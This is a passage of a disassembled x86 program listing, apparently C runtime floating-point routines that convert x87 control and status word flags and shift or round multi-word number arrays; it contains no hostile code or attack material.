loc_4297DB:				; CODE XREF: sub_4295F0+1BFj
					; sub_4295F0+1CBj
		mov	edx, [ebp+arg_8]
		mov	dword_444588, edx


loc_4297E4:				; CODE XREF: sub_4295F0+14Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_4295F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4297F0	proc near		; CODE XREF: sub_422E90+5Ap
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_4297F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	word ptr [ebp-4]
		mov	ax, [ebp-4]
		push	eax
		call	sub_429BF0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	word ptr [ebp-4]
		fnclex
		mov	ax, [ebp-4]
		push	eax
		call	sub_429BF0
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429840	proc near		; CODE XREF: sub_429890+10p

var_10		= word ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_10]
		mov	ax, [ebp+var_10]
		push	eax
		call	sub_429910
		add	esp, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		and	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_4]
		not	edx
		mov	eax, [ebp+var_8]
		and	eax, edx
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_429A90
		add	esp, 4
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_429840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429890	proc near		; CODE XREF: sub_4233E0+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429840
		add	esp, 8
		pop	ebp
		retn
sub_429890	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		call	sub_427600
		mov	eax, [eax]
		mov	[ebp-4], eax
		fninit
		call	sub_4233E0
		cmp	dword ptr [ebp-4], 0
		jz	short loc_429901
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		mov	eax, [edx]
		and	eax, 10008h
		test	eax, eax
		jz	short loc_429901
		mov	ecx, [ebp-4]
		mov	edx, [ecx+4]
		add	edx, 1Ch
		mov	[ebp-8], edx
		mov	eax, [ebp-8]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp-8]
		mov	dword ptr [ecx+8], 0FFFFh


loc_429901:				; CODE XREF: ___:004298CEj
					; ___:004298DFj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429910	proc near		; CODE XREF: sub_429840+12p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_429935
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_429935:				; CODE XREF: sub_429910+1Aj
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_42994D
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_42994D:				; CODE XREF: sub_429910+33j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_429966
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_429966:				; CODE XREF: sub_429910+4Bj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_42997E
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_42997E:				; CODE XREF: sub_429910+63j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_429996
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_429996:				; CODE XREF: sub_429910+7Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4299B2
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_4299B2:				; CODE XREF: sub_429910+94j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 0C00h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 800h
		jg	short loc_4299E5
		cmp	[ebp+var_8], 800h
		jz	short loc_4299F8
		cmp	[ebp+var_8], 0
		jz	short loc_4299F0
		cmp	[ebp+var_8], 400h
		jz	short loc_429A03
		jmp	short loc_429A17
; ---------------------------------------------------------------------------


loc_4299E5:				; CODE XREF: sub_429910+B9j
		cmp	[ebp+var_8], 0C00h
		jz	short loc_429A0E
		jmp	short loc_429A17
; ---------------------------------------------------------------------------


loc_4299F0:				; CODE XREF: sub_429910+C8j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_429A17
; ---------------------------------------------------------------------------


loc_4299F8:				; CODE XREF: sub_429910+C2j
		mov	edx, [ebp+var_4]
		or	dh, 2
		mov	[ebp+var_4], edx
		jmp	short loc_429A17
; ---------------------------------------------------------------------------


loc_429A03:				; CODE XREF: sub_429910+D1j
		mov	eax, [ebp+var_4]
		or	ah, 1
		mov	[ebp+var_4], eax
		jmp	short loc_429A17
; ---------------------------------------------------------------------------


loc_429A0E:				; CODE XREF: sub_429910+DCj
		mov	ecx, [ebp+var_4]
		or	ch, 3
		mov	[ebp+var_4], ecx


loc_429A17:				; CODE XREF: sub_429910+D3j
					; sub_429910+DEj ...
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 300h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_429A59
		cmp	[ebp+var_C], 200h
		jz	short loc_429A4B
		cmp	[ebp+var_C], 300h
		jz	short loc_429A43
		jmp	short loc_429A65
; ---------------------------------------------------------------------------


loc_429A43:				; CODE XREF: sub_429910+12Fj
		mov	eax, [ebp+var_4]
		mov	[ebp+var_4], eax
		jmp	short loc_429A65
; ---------------------------------------------------------------------------


loc_429A4B:				; CODE XREF: sub_429910+126j
		mov	ecx, [ebp+var_4]
		or	ecx, 10000h
		mov	[ebp+var_4], ecx
		jmp	short loc_429A65
; ---------------------------------------------------------------------------


loc_429A59:				; CODE XREF: sub_429910+11Dj
		mov	edx, [ebp+var_4]
		or	edx, 20000h
		mov	[ebp+var_4], edx


loc_429A65:				; CODE XREF: sub_429910+131j
					; sub_429910+139j ...
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1000h
		test	eax, eax
		jz	short loc_429A82
		mov	ecx, [ebp+var_4]
		or	ecx, 40000h
		mov	[ebp+var_4], ecx


loc_429A82:				; CODE XREF: sub_429910+164j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429910	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A90	proc near		; CODE XREF: sub_429840+36p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_429AB1
		mov	cx, [ebp+var_4]
		or	cl, 1
		mov	[ebp+var_4], cx


loc_429AB1:				; CODE XREF: sub_429A90+14j
		mov	edx, [ebp+arg_0]
		and	edx, 8
		test	edx, edx
		jz	short loc_429AC5
		mov	ax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], ax


loc_429AC5:				; CODE XREF: sub_429A90+29j
		mov	ecx, [ebp+arg_0]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_429ADA
		mov	dx, [ebp+var_4]
		or	dl, 8
		mov	[ebp+var_4], dx


loc_429ADA:				; CODE XREF: sub_429A90+3Dj
		mov	eax, [ebp+arg_0]
		and	eax, 2
		test	eax, eax
		jz	short loc_429AEF
		mov	cx, [ebp+var_4]
		or	cl, 10h
		mov	[ebp+var_4], cx


loc_429AEF:				; CODE XREF: sub_429A90+52j
		mov	edx, [ebp+arg_0]
		and	edx, 1
		test	edx, edx
		jz	short loc_429B03
		mov	ax, [ebp+var_4]
		or	al, 20h
		mov	[ebp+var_4], ax


loc_429B03:				; CODE XREF: sub_429A90+67j
		mov	ecx, [ebp+arg_0]
		and	ecx, 80000h
		test	ecx, ecx
		jz	short loc_429B1B
		mov	dx, [ebp+var_4]
		or	dl, 2
		mov	[ebp+var_4], dx


loc_429B1B:				; CODE XREF: sub_429A90+7Ej
		mov	eax, [ebp+arg_0]
		and	eax, 300h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 200h
		ja	short loc_429B49
		cmp	[ebp+var_8], 200h
		jz	short loc_429B5E
		cmp	[ebp+var_8], 0
		jz	short loc_429B54
		cmp	[ebp+var_8], 100h
		jz	short loc_429B6B
		jmp	short loc_429B83
; ---------------------------------------------------------------------------


loc_429B49:				; CODE XREF: sub_429A90+9Dj
		cmp	[ebp+var_8], 300h
		jz	short loc_429B78
		jmp	short loc_429B83
; ---------------------------------------------------------------------------


loc_429B54:				; CODE XREF: sub_429A90+ACj
		mov	cx, [ebp+var_4]
		mov	[ebp+var_4], cx
		jmp	short loc_429B83
; ---------------------------------------------------------------------------


loc_429B5E:				; CODE XREF: sub_429A90+A6j
		mov	dx, [ebp+var_4]
		or	dh, 8
		mov	[ebp+var_4], dx
		jmp	short loc_429B83
; ---------------------------------------------------------------------------


loc_429B6B:				; CODE XREF: sub_429A90+B5j
		mov	ax, [ebp+var_4]
		or	ah, 4
		mov	[ebp+var_4], ax
		jmp	short loc_429B83
; ---------------------------------------------------------------------------


loc_429B78:				; CODE XREF: sub_429A90+C0j
		mov	cx, [ebp+var_4]
		or	ch, 0Ch
		mov	[ebp+var_4], cx


loc_429B83:				; CODE XREF: sub_429A90+B7j
					; sub_429A90+C2j ...
		mov	edx, [ebp+arg_0]
		and	edx, 30000h
		mov	[ebp+var_C], edx
		cmp	[ebp+var_C], 0
		jz	short loc_429BA9
		cmp	[ebp+var_C], 10000h
		jz	short loc_429BB6
		cmp	[ebp+var_C], 20000h
		jz	short loc_429BC3
		jmp	short loc_429BCB
; ---------------------------------------------------------------------------


loc_429BA9:				; CODE XREF: sub_429A90+103j
		mov	ax, [ebp+var_4]
		or	ah, 3
		mov	[ebp+var_4], ax
		jmp	short loc_429BCB
; ---------------------------------------------------------------------------


loc_429BB6:				; CODE XREF: sub_429A90+10Cj
		mov	cx, [ebp+var_4]
		or	ch, 2
		mov	[ebp+var_4], cx
		jmp	short loc_429BCB
; ---------------------------------------------------------------------------


loc_429BC3:				; CODE XREF: sub_429A90+115j
		mov	dx, [ebp+var_4]
		mov	[ebp+var_4], dx


loc_429BCB:				; CODE XREF: sub_429A90+117j
					; sub_429A90+124j ...
		mov	eax, [ebp+arg_0]
		and	eax, 40000h
		test	eax, eax
		jz	short loc_429BE2
		mov	cx, [ebp+var_4]
		or	ch, 10h
		mov	[ebp+var_4], cx


loc_429BE2:				; CODE XREF: sub_429A90+145j
		mov	ax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BF0	proc near		; CODE XREF: ___:00429810p
					; ___:00429831p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 1
		test	eax, eax
		jz	short loc_429C13
		mov	ecx, [ebp+var_4]
		or	ecx, 10h
		mov	[ebp+var_4], ecx


loc_429C13:				; CODE XREF: sub_429BF0+18j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 4
		test	edx, edx
		jz	short loc_429C2B
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_429C2B:				; CODE XREF: sub_429BF0+31j
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_429C44
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx


loc_429C44:				; CODE XREF: sub_429BF0+49j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jz	short loc_429C5C
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx


loc_429C5C:				; CODE XREF: sub_429BF0+61j
		mov	edx, [ebp+arg_0]
		and	edx, 0FFFFh
		and	edx, 20h
		test	edx, edx
		jz	short loc_429C74
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax


loc_429C74:				; CODE XREF: sub_429BF0+7Aj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFFFh
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_429C90
		mov	edx, [ebp+var_4]
		or	edx, 80000h
		mov	[ebp+var_4], edx


loc_429C90:				; CODE XREF: sub_429BF0+92j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429BF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429CA0	proc near		; CODE XREF: sub_429DE0+70p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_429CC4
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_429CC4:				; CODE XREF: sub_429CA0+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_8]
		test	edx, edx
		jz	short loc_429CEF
		xor	eax, eax
		jmp	short loc_429D20
; ---------------------------------------------------------------------------


loc_429CEF:				; CODE XREF: sub_429CA0+49j
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_429D03
; ---------------------------------------------------------------------------


loc_429CFA:				; CODE XREF: sub_429CA0:loc_429D19j
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx


loc_429D03:				; CODE XREF: sub_429CA0+58j
		cmp	[ebp+var_C], 3
		jge	short loc_429D1B
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_429D19
		xor	eax, eax
		jmp	short loc_429D20
; ---------------------------------------------------------------------------


loc_429D19:				; CODE XREF: sub_429CA0+73j
		jmp	short loc_429CFA
; ---------------------------------------------------------------------------


loc_429D1B:				; CODE XREF: sub_429CA0+67j
		mov	eax, 1


loc_429D20:				; CODE XREF: sub_429CA0+4Dj
					; sub_429CA0+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_429CA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D30	proc near		; CODE XREF: sub_429DE0+84p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_429D54
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_429D54:				; CODE XREF: sub_429D30+1Dj
		mov	ecx, 1Fh
		sub	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, 1
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_429DA2
; ---------------------------------------------------------------------------


loc_429D99:				; CODE XREF: sub_429D30+9Fj
		mov	edx, [ebp+var_C]
		sub	edx, 1
		mov	[ebp+var_C], edx


loc_429DA2:				; CODE XREF: sub_429D30+67j
		cmp	[ebp+var_C], 0
		jl	short loc_429DD1
		cmp	[ebp+var_10], 0
		jz	short loc_429DD1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		lea	edx, [ecx+eax*4]
		push	edx
		push	1
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_42D150
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		jmp	short loc_429D99
; ---------------------------------------------------------------------------


loc_429DD1:				; CODE XREF: sub_429D30+76j
					; sub_429D30+7Cj
		mov	eax, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
sub_429D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429DE0	proc near		; CODE XREF: sub_42A070+ABp
					; sub_42A070+132p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	eax, [ebp+var_C]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_14], eax
		mov	edx, [ebp+var_C]
		and	edx, 8000001Fh
		jns	short loc_429E1E
		dec	edx
		or	edx, 0FFFFFFE0h
		inc	edx


loc_429E1E:				; CODE XREF: sub_429DE0+37j
		mov	eax, 1Fh
		sub	eax, edx
		mov	[ebp+var_8], eax
		mov	edx, 1
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		and	edx, [ebp+var_1C]
		test	edx, edx
		jz	short loc_429E6F
		mov	eax, [ebp+var_C]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429CA0
		add	esp, 8
		test	eax, eax
		jnz	short loc_429E6F
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429D30
		add	esp, 8
		mov	[ebp+var_18], eax


loc_429E6F:				; CODE XREF: sub_429DE0+63j
					; sub_429DE0+7Aj
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_8]
		shl	edx, cl
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4]
		and	eax, edx
		mov	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_429E9F
; ---------------------------------------------------------------------------


loc_429E96:				; CODE XREF: sub_429DE0+D2j
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_429E9F:				; CODE XREF: sub_429DE0+B4j
		cmp	[ebp+var_10], 3
		jge	short loc_429EB4
		mov	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+edx*4], 0
		jmp	short loc_429E96
; ---------------------------------------------------------------------------


loc_429EB4:				; CODE XREF: sub_429DE0+C3j
		mov	eax, [ebp+var_18]
		mov	esp, ebp
		pop	ebp
		retn
sub_429DE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EC0	proc near		; CODE XREF: sub_42A070+98p
					; sub_42A070+10Fp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], 0
		jmp	short loc_429EE4
; ---------------------------------------------------------------------------


loc_429EDB:				; CODE XREF: sub_429EC0+46j
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_429EE4:				; CODE XREF: sub_429EC0+19j
		cmp	[ebp+var_C], 3
		jge	short loc_429F08
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx
		jmp	short loc_429EDB
; ---------------------------------------------------------------------------


loc_429F08:				; CODE XREF: sub_429EC0+28j
		mov	esp, ebp
		pop	ebp
		retn
sub_429EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F10	proc near		; CODE XREF: sub_42A070+7Cp
					; sub_42A070+D5p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_429F26
; ---------------------------------------------------------------------------


loc_429F1D:				; CODE XREF: sub_429F10+29j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429F26:				; CODE XREF: sub_429F10+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_429F3B
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4], 0
		jmp	short loc_429F1D
; ---------------------------------------------------------------------------


loc_429F3B:				; CODE XREF: sub_429F10+1Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_429F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F40	proc near		; CODE XREF: sub_42A070+63p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_429F56
; ---------------------------------------------------------------------------


loc_429F4D:				; CODE XREF: sub_429F40:loc_429F6Cj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429F56:				; CODE XREF: sub_429F40+Bj
		cmp	[ebp+var_4], 3
		jge	short loc_429F6E
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_429F6C
		xor	eax, eax
		jmp	short loc_429F73
; ---------------------------------------------------------------------------


loc_429F6C:				; CODE XREF: sub_429F40+26j
		jmp	short loc_429F4D
; ---------------------------------------------------------------------------


loc_429F6E:				; CODE XREF: sub_429F40+1Aj
		mov	eax, 1


loc_429F73:				; CODE XREF: sub_429F40+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_429F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F80	proc near		; CODE XREF: sub_42A070+11Fp
					; sub_42A070+148p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_4]
		cdq
		and	edx, 1Fh
		add	eax, edx
		sar	eax, 5
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_4]
		and	eax, 8000001Fh
		jns	short loc_429FA5
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_429FA5:				; CODE XREF: sub_429F80+1Ej
		mov	[ebp+var_4], eax
		or	edx, 0FFFFFFFFh
		mov	ecx, [ebp+var_4]
		shl	edx, cl
		not	edx
		mov	[ebp+var_14], edx
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 0
		jmp	short loc_429FCE
; ---------------------------------------------------------------------------


loc_429FC5:				; CODE XREF: sub_429F80+9Fj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_429FCE:				; CODE XREF: sub_429F80+43j
		cmp	[ebp+var_C], 3
		jge	short loc_42A021
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		and	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4]
		mov	ecx, [ebp+var_4]
		shr	eax, cl
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4]
		or	edx, [ebp+var_8]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4], edx
		mov	ecx, 20h
		sub	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		shl	edx, cl
		mov	[ebp+var_8], edx
		jmp	short loc_429FC5
; ---------------------------------------------------------------------------


loc_42A021:				; CODE XREF: sub_429F80+52j
		mov	[ebp+var_C], 2
		jmp	short loc_42A033
; ---------------------------------------------------------------------------


loc_42A02A:				; CODE XREF: sub_429F80:loc_42A065j
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	[ebp+var_C], eax


loc_42A033:				; CODE XREF: sub_429F80+A8j
		cmp	[ebp+var_C], 0
		jl	short loc_42A067
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+var_18]
		jl	short loc_42A058
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_18]
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax*4], edx
		jmp	short loc_42A065
; ---------------------------------------------------------------------------


loc_42A058:				; CODE XREF: sub_429F80+BFj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4], 0


loc_42A065:				; CODE XREF: sub_429F80+D6j
		jmp	short loc_42A02A
; ---------------------------------------------------------------------------


loc_42A067:				; CODE XREF: sub_429F80+B7j
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_429F80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A070	proc near		; CODE XREF: sub_42A2C0+10p
					; sub_42A2E0+10p

var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
